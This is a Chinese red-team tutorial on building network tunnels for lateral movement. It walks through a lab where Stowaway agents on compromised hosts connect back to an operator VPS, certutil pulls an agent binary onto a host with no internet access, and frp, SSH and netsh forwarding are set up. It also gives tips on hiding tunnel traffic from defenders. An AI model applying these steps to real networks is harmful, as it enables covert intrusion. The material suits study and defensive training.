【内网横向】建立隧道常见姿势总结

百科   2024-09-25 11:04   山东  


建立隧道⚒️

建立隧道目的是为了后面内网横向移动提前准备好的网络通道,方便从互联网访问到内网资源。

建立隧道使用场景.png

建立隧道前先要进行出网探测,确认当前网络能不能连通外网,哪些能协议能出?当前主机出站流量能够访问哪些端口?是不是只允许连接目标 IP 或者指定端口?不然后续操作很不方便。

这里介绍三种网络情况:

1.情况一

目标机器能出网也有公网地址,直接在目标机器上开 Socks5 正向连接。

2.情况二

拿下的目标机器没有公网 IP,可能处在反向代理后面的内网集群,但也能访问内网和互联网,此时可以让目标反连 VPS,我们通过 VPS 访问目标内部网络。

3.情况三

通过 Web 漏洞打下的是反向代理后面机器,通过反向代理连接,只能访问内网,不能访问互联网(不出网),只能走 HTTP  协议,那么可以尝试搭建 HTTP Tunnel(原理本地脚本开启 SOCKS,所有流量转发到 WebShell 后, WebShell 再使用  SOCKS 服务端将流量转发到内网),Red Team Operator -> Reverse Proxy -> Web  App(HTTP Tunnel) -> Internal NetWork。

只访问某个端口可以用 Neo-reGeorg 搭建 HTTP 隧道做端口转发,很稳定。

以上情况只要能通信,代理正连反连都可以。

具体怎么探测可以使用下面方法:

1.DNS

使用 vps-ip 作为 DNS 服务器解析 www.baidu.com 域名,在服务器端只要监听 53 端口看能不能收到流量 nc -u -lvp 53

dig @vps-ip www.baidu.com
 
nslookup www.baidu.com vps-ip

2.ICMP

vps-ip 抓 icmp 流量 tcpdump icmp

ping vps-ip

PowerShell 中 Test-NetConnection 也可以。

PS C:\Users\gbb># ICMP 测试
PS C:\Users\gbb>Test-NetConnection-ComputerName13.107.4.52


ComputerName:13.107.4.52
RemoteAddress:13.107.4.52
InterfaceAlias: WLAN
SourceAddress:172.20.10.2
PingSucceeded:True
PingReplyDetails(RTT):186 ms

3.TCP

测试 TCP 连接可以用 PowerShell 中 TcpClient。第一个参数填 Host,第二个参数是端口。

PS E:\desktop> (New-Object System.Net.Sockets.TcpClient("www.raingray.com", "443")).Connected
True

或者上传 nc 到服务器上,反连 vps-ip 端口看能不能连接成功 nc -lvp port

nc vps-ip port

4.HTTP

curl -I http://www.domain.com
 
wget -qSO /dev/null http://domain.com 
 
wget -qSO- http://www.domain.com

当前机器不出网很可能当前网段机器都是不出网的,可以找其他网段机器拿下尝试。

介绍隧道概念:传输隧道按层划分:应用层啊,传输层啊。HTTP,TCP,DNS,SSH,SOCKS,SOCKS5,ICMP。隧道原理是什么

根端口转发做出对比:什么时候选端口转发或隧道?它俩优劣势是什么。最好拿前面 SSH 动态端口转发小节做例子。

最后谈谈实战中拿下边界服务器内网横向渗透时多层代理如何玩儿,不同网段怎么通信,是使用正向还是反向。

大内网怎么扫主机:找网关,确认网段。ping 确定存活主机,如果机器之间禁 icmp 如何探测。

隧道特征:

  • • http 隧道,新增文件

  • • icmp 隧道数据大小比正常的大。

  • • dns 隧道,与内部已有的 dns 主机不同,大量 dns 查询。

3.1.1 SOCKS

客户端软件:

  • • Windows:Proxifier

  • • Linux:proxychanis

Stowaway

1.反向连接

服务端开启监听

.\windows_x64_admin.exe -s test -proxyp asdf -proxyu proxy -l 8888

客户端主动连接服务端

root@ubuntu:/home/web/Desktop# ./linux_x64_agent -c 172.20.10.2:8888 -s test 

要注意客户端连接服务端 8888 端口后,其他客户端无法再使用此端口。

2.正向连接

客户端开启监听

C:\>windows_x64_agent.exe -l 10000 -s test

服务端主动连接客户端

.\windows_x64_admin.exe -c 127.0.0.1:10000 -s test

3.多级代理连接

一般情况下第一层代理,很可能因为网络防火墙入站规则限制较严格,会使用反向链接。拿到一个连接后,会生成一个节点。

节点内正向连接,客户端开启监听

C:\>windows_x64_agent.exe -l 10000 -s test

进入节点主动连接客户端

(admin) >> use 0
(node 0) >> connect 192.168.52.30:10000

节点内反向连接,或者节点开启端口监听。

(node 1) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 192.168.93.20:20001
[*] Waiting for response......
[*] Node is listening on 192.168.93.20:20001
(node 1) >>
[*] New node come! Node id is 2

客户端连接到节点。

C:\>windows_x64_agent.exe -c 192.168.93.20:20001 -s test

Stowaway 缺点:实战环境中拿下目标机器后,想用它做服务端,可惜没有 screen、tmux 这种终端管理工具的情况下不能在后台运行,很不方便。

这里使用【启元】ATT&CK红队七WHOAMI Penetration进行多层代理专项训练。

启元】ATT&CK红队七WHOAMI Penetration 靶场架构图.png

由于 DMZ 主机 IP1 是桥接宿主机,IP 根据每台机器 DHCP 动态获取会有不同,以实际为准。

建立第一层隧道

拿下 DMZ 区域 Ubuntu 主机,Shell 地址 http://172.20.10.3:81/backdoor.php,它的 Web 应用流量是反向代理到内网第二层网络,并且还是多网卡机器,因此能够访问第二层网络。

VPS 服务端开启 Socks 监听 8888,等待连接。-s 使用加密密钥 test 传输数据。

PS E:\Desktop\Stowaway>.\windows_x64_admin.exe -s test -proxyp asdf -proxyu proxy -l 8888
[*]Starting admin node on port 8888

.-')    .-') _                  ('\ .-')/'  ('-.('\ .-')/'  ('-.
( OO ).(  OO))'.( OO ),'( OO ).-.'.( OO ),'( OO ).-.
(_)---\_)/'._  .-'),-----.,--./.--./.--./,--./.--./.--./,--.,--.
/    _ ||'--...__)( OO'.-.'|      |  |   | \-.  \ |      |  |   | \-.  \    \  '.'  /
   \  :''. '--..--'/   |  | |  ||  |   |  |,.-'-'  |  ||  |   |  |,.-'-'  |  | .-')/
'..'''.)||   \_)||\|  |||.'.|  |_)\| |_.'|||.'.|  |_)\| |_.'|(OO  \   /
.-._)   \   ||     \ |||||||.-.||||.-.||/  /\_
   \       /||'''-''|   ,'.||||||,'.   |   |  | |  | '-.//.__)
'-----''--''-----''--''--''--''--''--''--''--''--''--'
{ v2.1Author:ph4ntom }
[*]Waitingfornew connection...
 

上传 agent,-c 反连 VPS 172.20.10.2:8888,--reconnect 断线后 10 重连一次。

root@ubuntu:/home/web/# ./linux_x64_agent -c 172.20.10.2:8888 -s test 
2023/03/13 00:54:48 [*] Starting agent node actively.Connecting to 172.20.10.2:8888

agent 与 VPS admin 端连接成功。

PS E:\Desktop\Stowaway>.\windows_x64_admin.exe -s test -l 8888
[*]Starting admin node on port 8888

.-')    .-') _                  ('\ .-')/'  ('-.('\ .-')/'  ('-.
( OO ).(  OO))'.( OO ),'( OO ).-.'.( OO ),'( OO ).-.
(_)---\_)/'._  .-'),-----.,--./.--./.--./,--./.--./.--./,--.,--.
/    _ ||'--...__)( OO'.-.'|      |  |   | \-.  \ |      |  |   | \-.  \    \  '.'  /
   \  :''. '--..--'/   |  | |  ||  |   |  |,.-'-'  |  ||  |   |  |,.-'-'  |  | .-')/
'..'''.)||   \_)||\|  |||.'.|  |_)\| |_.'|||.'.|  |_)\| |_.'|(OO  \   /
.-._)   \   ||     \ |||||||.-.||||.-.||/  /\_
   \       /||'''-''|   ,'.||||||,'.   |   |  | |  | '-.//.__)
'-----''--''-----''--''--''--''--''--''--''--''--''--'
{ v2.1Author:ph4ntom }
[*]Waitingfornew connection...
[*]Connectionfrom node 172.20.10.3:58946isset up successfully!Node id is0
(admin)>> detail
Node[0]-> IP:172.20.10.3:58946Hostname: ubuntu  User: root
Memo:

(admin)>> 

给 node 0 做个注释信息,方便其他同事了解此节点信息。

(node 0)>> addmemo  "DMZ 边界机"
[*]Memo added!
(node 0)>> back
(admin)>> detail
Node[0]-> IP:172.20.10.3:58946Hostname: ubuntu  User: root
Memo:"DMZ 边界机"

(admin)>> 

进入节点,在 VPS 端开启 Socks 端口,用户名 proxy,密码 proxys。后续 VPS 通过此端口就可以连到 node 0(DMZ 区)网络。

(admin) >> use 0
(node 0) >> socks 9000 proxy proxys
[*] Trying to listen on 0.0.0.0:9000......
[*] Waiting for agent's response......
[*] Socks start successfully!

VPS 确实开启 9000,由 admin 端开启的端口。

PS C:\Users\gbb> netstat -ano -p tcp | findstr 9000
  TCP    0.0.0.0:9000           0.0.0.0:0              LISTENING       22064
PS C:\Users\gbb> tasklist | findstr 22064
windows_x64_admin.exe        22064 Console                    1     11,692 K

Proxyfier 设置代理服务器,成功连接。

Proxyfier 客户端设置第一层代理-1.png

Profile -> Proxyification Rules -> Add 添加规则,允许 edge 浏览器访问走代理。

Proxyfier 客户端设置第一层代理-2.png

通过扫描发现第二层网络内网 OA。


此时访问 OA 整个流量走向是:

Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9000) -> VPS admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>)

建立第二层隧道

通过 DMZ 拿下第二层网络通达 OA Shell。

systeminfo 确认类型为 64,上传 64 agent。

由于没有防火墙限制,这回不再像第一层代理 DMZ 主机一样去反连接,尝试选择 agent  自己开放端口 0.0.0.0:10000,让 DMZ 主动连接(正向连接)。

C:\>./windows_x64_agent -l 10000 -s test
2023/03/13 16:25:54 [*] Starting agent node passively.Now listening on port 10000

DMZ 主机成功连接 OA 服务器,自动取名 Node 1 成为 Node 0 子节点。

(node 0)>> connect 192.168.52.30:10000
[*]Waitingfor response......
[*]New node come!Node id is1

(node 0)>> back
(admin)>> topo
Node[0]'s children ->
Node[1]

Node[1]'s children ->

(admin)>> detail
Node[0]-> IP:172.20.10.3:58954Hostname: ubuntu  User: root
Memo:"DMZ 边界机"

Node[1]-> IP:192.168.52.30:10000Hostname: PC1  User: whoamianony\bunny
Memo:

(admin) >>

继续做备注方便后续回顾。

(admin)>>use1
(node 1)>> addmemo "通达 OA"
[*]Memo added!
(node 1)>> back
(admin)>> detail
Node[0]-> IP:172.20.10.3:58954Hostname: ubuntu  User: root
Memo:"DMZ 边界机"

Node[1]-> IP:192.168.52.30:10000Hostname: PC1  User: whoamianony\bunny
Memo:"通达 OA"

(admin) >>

继续在 VPS 开启 Socks 端口 9001,方便通过 VPS 连接到 OA 网络内。

(node 1) >> socks 9001 proxy proxys
[*] Trying to listen on 0.0.0.0:9001......
[*] Waiting for agent's response......
[*] Socks start successfully!
(node 1) >>

现在访问 9001 流量走向是:

Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9001) -> VPS Admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>) -> 第二层网络-通达 OA(192.168.52.30:10000)

建立第三层隧道

通过搜集信息发现,第二层网络-通达 OA 也是双网卡机器,能通信第三层网络。通过扫描第三层网络主机,发现域内单机 192.168.93.40 开放 RDP,使用弱口令成功登录。

WHOAMIANONY\moretz
Moretz2021
验证第三层代理-1.png

经过测试不出网,选择将 agent 放在第二层网络-通达 OA 服务器上访问去下载。

certutil -urlcache -split -f http://192.168.52.30:8080/windows_x64_agent.exe
验证第三层代理-2.png

在节点 Note 1(通达 OA)上开启监听端口 192.168.93.20:20001。

(node 1) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 192.168.93.20:20001
[*] Waiting for response......
[*] Node is listening on 192.168.93.20:20001
(node 1) >> 

域内单机反向连接到 Note 1(第二层网络-通达 OA)。

C:\Users\moretz.WHOAMIANONY\Desktop>windows_x64_agent.exe -c 192.168.93.20:20001 -s test
2023/03/13 18:21:18 [*] Starting agent node actively.Connecting to 192.168.93.20:20001

OA 节点主动显示新节点 Note 2 连接,成为 Note 1 子节点。

(node 1)>>
[*]New node come!Node id is2
(node 1)>> back
(node 2)>> addmemo "域内单机"
[*]Memo added!
(admin)>> detail
Node[0]-> IP:172.20.10.3:58954Hostname: ubuntu  User: root
Memo:"DMZ 边界机"

Node[1]-> IP:192.168.52.30:10000Hostname: PC1  User: whoamianony\bunny
Memo:"通达 OA"

Node[2]-> IP:192.168.93.40:4435Hostname: PC2  User: whoamianony\moretz
Memo:"域内单机"

(admin)>> topo
Node[0]'s children ->
Node[1]

Node[1]'s children ->
Node[2]

Node[2]'s children ->

(admin) >>

在 Socks 开启端口,直通第三层网络。

(admin) >> use 2
(node 2) >> socks 9002 proxy proxys
[*] Trying to listen on 0.0.0.0:9002......
[*] Waiting for agent's response......
[*] Socks start successfully!

现在访问 9002 流量走向是:

Computer(操作员笔记本) -> VPS Socks5(0.0.0.0:9002) -> VPS Admin 端(0.0.0.0:8888) -> DMZ(172.20.10.3:<randomPort>) -> 通达 OA(192.168.52.30:20001) -> 域内单机(192.168.93.40:<randomPort>)

rakshasa⚒️

https://github.com/Mob2003/rakshasa

venom⚒️

https://github.com/Dliv3/Venom

frp⚒️

目标通网,可以使用 frp 连到内网。

frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000
kcp_bind_port = 7000
token = 18xujk38
tcp_mux = true
log_file = ./frps.log
log_level = info
log_max_days = 3

frpc.ini

[common]
server_addr =106.2.120.110
server_port =7000
protocol = kcp
token =18xujk38

[plugin_socks5]
type = tcp
local_port =8084
remote_port =29017
plugin = socks5
use_encryption =true
use_compression = true

frp 内网穿透,配合 vps 使用,效果还不错。在反弹 Shell 时一直有个问题,在没有公网 vps 中转流量如何反弹 Shell 到本机?

拿到管理员权限后可以用 Proxifer 来代理本机软件,通过 frp 开 socket 连接到目标内网。

最好将 FRP 流量特征改掉,启用 TLS,将配置硬编码到程序里,其他只留部分作为命令行参数,比如 ip 端口。

chisel

VPS 监听端口

chisel server -p <Port> --reverse

客户端连接

chisel client <VPS-IP>:<Port> R:socks

nps

3.1.2 VPN

使用目标自带的 VPN 会更加隐蔽。

PPTP OpenVPN IPSEC

3.1.3 HTTP⚒️

Neo-reGeorg

suo5

说比 frp 快。缺点是只能在 jsp 环境下使用。

3.1.4 WebSocket

3.1.5 ICMP

icmptunnel

3.1.6 DNS

Chashell

3.1.7 SSH

借由 SSH 学习端口转发概念,后面其他工具只是使用方式不同,原理类似。

本地端口转发

本地端口转发能够解决的问题是,想要访问远程机器本地监听(不对外开放)的某个服务,或者是要访问远程机器内网其他主机的服务,以后只要访问本地端口就能访问到对应远程机器服务。

就可以用 SSH 在本地开启监听端口并指定一个你要访问的 IP:Port,,登录到远程机器,

使用 SSH 将本地 8888 端口流量通过 root@www.raingray.com 主机转发到 www.raingray.com:443。要注意的是做转发的机器(root@www.raingray.com)一定能与目标机器通信(www.raingray.com:443)才能成功。

┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -N -L 8888:www.raingray.com:443 root@www.raingray.com
root@www.raingray.com's password: 

-L 选项是本地端口转发核心选项,语法是 -L [bind_address:]port:host:hostport,不加 bind_address 默认是监听 127.0.0.1。-N 是不使用 Shell 就不给,不加上就会把 SSH 登录后的 Shell   展示出来方便你执行命令用。还有个选项是 -f,在命令中没使用到,它的作用是把连接放到后台运行避免前台占着无法使用 Shell 输入命令。

本机已经建立 SSH 链接。

┌──(kali㉿kali)-[~/Desktop]
└─$ ss -napt4
StateRecv-Q  Send-Q    LocalAddress:PortPeerAddress:PortProcess
LISTEN  0128127.0.0.1:88880.0.0.0:*      users:(("ssh",pid=6694,fd=5))
ESTAB   00192.168.136.129:5857681.70.14.219:22     users:(("ssh",pid=6694,fd=3))

服务器上也有对应链接。

[root@VM-24-2-centos ~]# ss -pant | grep ssh
LISTEN 0  128     0.0.0.0:22          0.0.0.0:*     users:(("sshd",pid=2200733,fd=4))
ESTAB  0  0     10.0.24.2:22  111.194.220.217:7369  users:(("sshd",pid=1332042,fd=5),("sshd",pid=1332028,fd=5))
LISTEN 0  128        [::]:22             [::]:*     users:(("sshd",pid=2200733,fd=5))

请求本地 127.0.0.1:8888,发现本地端口流量转发到 www.raingray.com 内。

┌──(kali㉿kali)-[~/Desktop]
└─$ curl https://127.0.0.1:8888 --insecure -s | egrep "<title>.*</title>"
    <title>raingray Blog</title>

远程端口转发

假设主机上 127.0.0.1:9999 开启 Web 服务器,想在在公网服务器上访问此服务,这就可以用上远程端口转发,将 127.0.0.1:9999 转发到远程公网服务器上某个端口上。

127.0.0.1-8080 Web 服务器.png

在本机使用 SSH 连接到 root@www.raingray.com 主机上,使用 -R 选项启用远程转发,将本机 127.0.0.1:9999 端口转发到目标机 www.raingray.com 的 8080 端口上(无需担心这个 8080 端口没开启,SSH 自动开启监听)。

ssh -N -R 8080:127.0.0.1:9999 root@www.raingray.com

登到目标机 www.raingray.com 可以看到 127.0.0.1:8080 监听端口。

[root@VM-24-2-centos ~]# ss -pant | grep 8080
LISTEN    0    128    127.0.0.1:8080    0.0.0.0:*     users:(("sshd",pid=1367194,fd=14))
LISTEN    0    128        [::1]:8080       [::]:*     users:(("sshd",pid=1367194,fd=13))

在目标机内访问 127.0.0.1:8080,流量成功转发到本机 127.0.0.1:9999 Web 服务器。

[root@VM-24-2-centos ~]# curl -s -v 127.0.0.1:8080
*Rebuilt URL to:127.0.0.1:8080/
*Trying127.0.0.1...
* TCP_NODELAY set
*Connected to 127.0.0.1(127.0.0.1) port 8080(#0)
> GET / HTTP/1.1
>Host:127.0.0.1:8080
>User-Agent: curl/7.61.1
>Accept:*/*

< HTTP/1.1 200 OK
< Host: 127.0.0.1:8080
< Date: Fri, 17 Feb 2023 15:37:36 GMT
< Connection: close
< X-Powered-By: PHP/8.1.12
< Content-type: text/html; charset=UTF-8

test
* Closing connection 0

不知道你有没关注到目标机 www.raingray.com 的 8080 端口监听地址是 127.0.0.1,这是因为目标机 SSH 配置文件中 GatewayPorts 的取值。

GatewayPorts no

当它为默认值 no 时远程转发就监听 127.0.0.1,取值 yes 则监听 0.0.0.0。这个选项的作用就是让不让别人在公网访问此端口。

GatewayPorts 还有另一个取值是 clientspecified,可以自行指定要监听的 IP。

ssh -N -R 10.0.24.2:8080:127.0.0.1:9999 root@www.raingray.com

比如这里就主动指定监听地址为内网网卡 10.0.24.2,只能在内网里各个机器之间访问,相比 0.0.0.0 暴露在公网会安全不少。

动态端口转发

本地和远程端口转发,都是端口只能一对一,如想访问其他端口就得再次映射,动态端口解决了此问题,只需与目标机器建立 SSH 就能以此目标机器网络身份访问目标自身及其内网其他机器,它原理是在本地开启 Socks 服务端口,在通过 SSH 连接到目标机建立隧道。

ssh -N -D 0.0.0.0:7890 root@www.raingray.com

-D 开启动态转发,在本地 0.0.0.0:7890(需要注意 bind_address 留空则默认是监听到 0.0.0.0)建立个 Socks 服务(可以支持 4 和 5 版本,开启服务时具体 SSH 选择哪一个无法确认),SSH 连接到 root@www.raingray.com 后将所有本地 Socks 流量转入其中。

通过查看本机端口 7890 监听成功。

State  Recv-Q  Send-Q   LocalAddress:PortPeerAddress:PortProcess
LISTEN 040960.0.0.0:99990.0.0.0:*     users:(("php",pid=236011,fd=4))
LISTEN 01280.0.0.0:78900.0.0.0:*     users:(("ssh",pid=238772,fd=4)) 

尝试使用 Nmap 对目标网络进行扫描。

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo proxychains nmap --open -sV -sT -n -Pn127.0.0.1
[proxychains] config file found:/etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
StartingNmap7.93( https://nmap.org ) at 2023-02-17 22:28 EST
[proxychains]Strict chain  ...0.0.0.0:7890...127.0.0.1:15660<--socket error or timeout!
[proxychains]Strict chain  ...0.0.0.0:7890...127.0.0.1:8290<--socket error or timeout!
......
[proxychains]Strict chain  ...0.0.0.0:7890...127.0.0.1:80...  OK
[proxychains]Strict chain  ...0.0.0.0:7890...127.0.0.1:80...  OK
[proxychains]Strict chain  ...0.0.0.0:7890...127.0.0.1:443...  OK
Nmap scan report for127.0.0.1
Hostis up (0.0086s latency).
Not shown:994 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH8.0(protocol 2.0)
80/tcp   open  http        nginx
443/tcp  open  ssl/http    nginx
3306/tcp open  mysql       MySQL5.5.5-10.6.7-MariaDB
8088/tcp open  radan-http
9000/tcp open  cslistener?
1 service unrecognized despite returning data.If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
......
SF:,POST\r\n\r\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.04 seconds

扫描时需要注意 Socks 协议不支持 ICMP、ARP、TCP SYN。

SOCKS works on layer 5 as we mentioned so don't expect things like  ping, arp or the half-open reset that SYN scan does in Nmap, to work!

[https://erev0s.com/blog/ssh-local-remote-and-dynamic-port-forwarding-explain-it-i-am-five/#:~:text=SOCKS%20works%20on%20layer%205%20as%20we%20mentioned%20so%20don%27t%20expect%20things%20like%20ping%2C%20arp%20or%20the%20half%2Dopen%20reset%20that%20SYN%20scan%20does%20in%20Nmap%2C%20to%20work](https://erev0s.com/blog/ssh-local-remote-and-dynamic-port-forwarding-explain-it-i-am-five/#:~:text=SOCKS works on layer 5 as we mentioned so don't expect things like ping%2C arp or the half-open reset that SYN scan does in Nmap%2C to work)!

你也可以用通过目标机器网络去利用内网其他机器。这里仅仅 curl 验证下请求是目标机器发送的。

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo proxychains curl -s http://myip.ipip.net/
[sudo] password for kali:
[proxychains] config file found:/etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains]Strict chain  ...0.0.0.0:7890...  myip.ipip.net:80...  OK
当前 IP:81.70.14.219来自于:中国北京北京  电信

netsh

Windows 之间没有 SSH 可以使用 netsh 端口转发。如果可以传输文件也可上传第三方隧道软件 lcx、htran。

使用 netsh 第一个条件是需要你是管理员权限,普通用户无法使用(普通用户运行会提示   “请求的操作需要提升(作为管理员运行)。”)。第二个条件需要 IP Helper 服务和网卡 Internet Protocol Version 6 (TCP/IPv6) 开启。

可以 services.msc 去查看对应服务状态。

netsh 隧道转发使用条件一-IP Helper  服务开启.png

在网卡配置处查看 IPv6 开启状态(我这里 WLAN、以太网默认都是关闭,在 IPv4 To IPv4 转发实验中也没失败)。

netsh 隧道转发使用条件一-网卡 IPv6 开启.png

假设我们目前已经拿下 192.168.0.101 Windos11 主机管理员权限,又发现内网 192.168.0.102 主机远程桌面开启,我们可以用 netsh 本地端口转发访问目标。

在 192.168.0.101:8888 设置端口转发到 192.168.0.102:3389。

C:\Users\gbb\Desktop>netsh interface portproxy add v4tov4 listenport=8888 listenaddress=192.168.0.101 connectport=3389 connectaddress=192.168.0.102

查看本地端口已经监听

PS C:\Users\gbb> netstat -p tcp -n -a | findstr 8888
  TCP    192.168.0.101:8888     0.0.0.0:0              LISTENING

查看转发规则。

PS C:\Users\gbb> netsh interface portproxy show all

侦听 ipv4:连接到 ipv4:

地址端口地址端口
--------------------------------------------------
192.168.0.1018888192.168.0.1023389

PS C:\Users\gbb>

现在只要通过连接边界机 192.168.0.101:8888 就等同于连接到 192.168.0.102:3389。

此刻我们要通过内网另一个网段机器 192.168.0.104 访问 192.168.0.102:3389,发现网络不通,只能与 192.168.0.101 通信。那么可以直接连接 192.168.0.101:8888 端口达到此目的。

连到边界机机 192.168.0.101:8888 端口,很可能可能会被 Windows 防火墙给拦截,因为这台机器入站规则可能默认不允许连接到此端口,因此需要添加入站防火墙规则(需要管理员权限才能操作)。

添加这条名为 allow-rdp-port-access 防火墙规则,配置的是允许远程地址 192.168.1.104 进站流量访问本机 8888 端口。

netsh advfirewall firewall add rule name="allow-rdp-port-access" protocol=TCP dir=in remoteip=192.168.0.104 localport=8888 action=allow

通过 192.168.0.104 主机连接 192.168.0.101:8888 端口成功访问到 192.168.0.102:3389 端口。

netsh 转发端口成功.png

下面了解如何删除转发规则(需要管理员权限操作)。

PS C:\Users\gbb> netsh interface portproxy show all

侦听 ipv4:连接到 ipv4:

地址端口地址端口
--------------------------------------------------
192.168.0.1018888192.168.0.1023389

PS C:\Users\gbb> netsh interface portproxy delete v4tov4 listenaddress=192.168.0.101 listenport=8888

PS C:\Users\gbb> netsh interface portproxy show all

也可以一次重置清空转发规则。

PS C:\Users\gbb> netsh interface portproxy show all

侦听 ipv4:连接到 ipv4:

地址端口地址端口
--------------------------------------------------
192.168.0.1018888192.168.0.1023389

PS C:\Users\gbb> netsh interface portproxy reset

PS C:\Users\gbb> netsh interface portproxy show all


来源:

raingray


Z0安全
个人学习知识记录,包括红队、二进制安全、CTF、取证等方向。菜鸟一枚,多多包涵~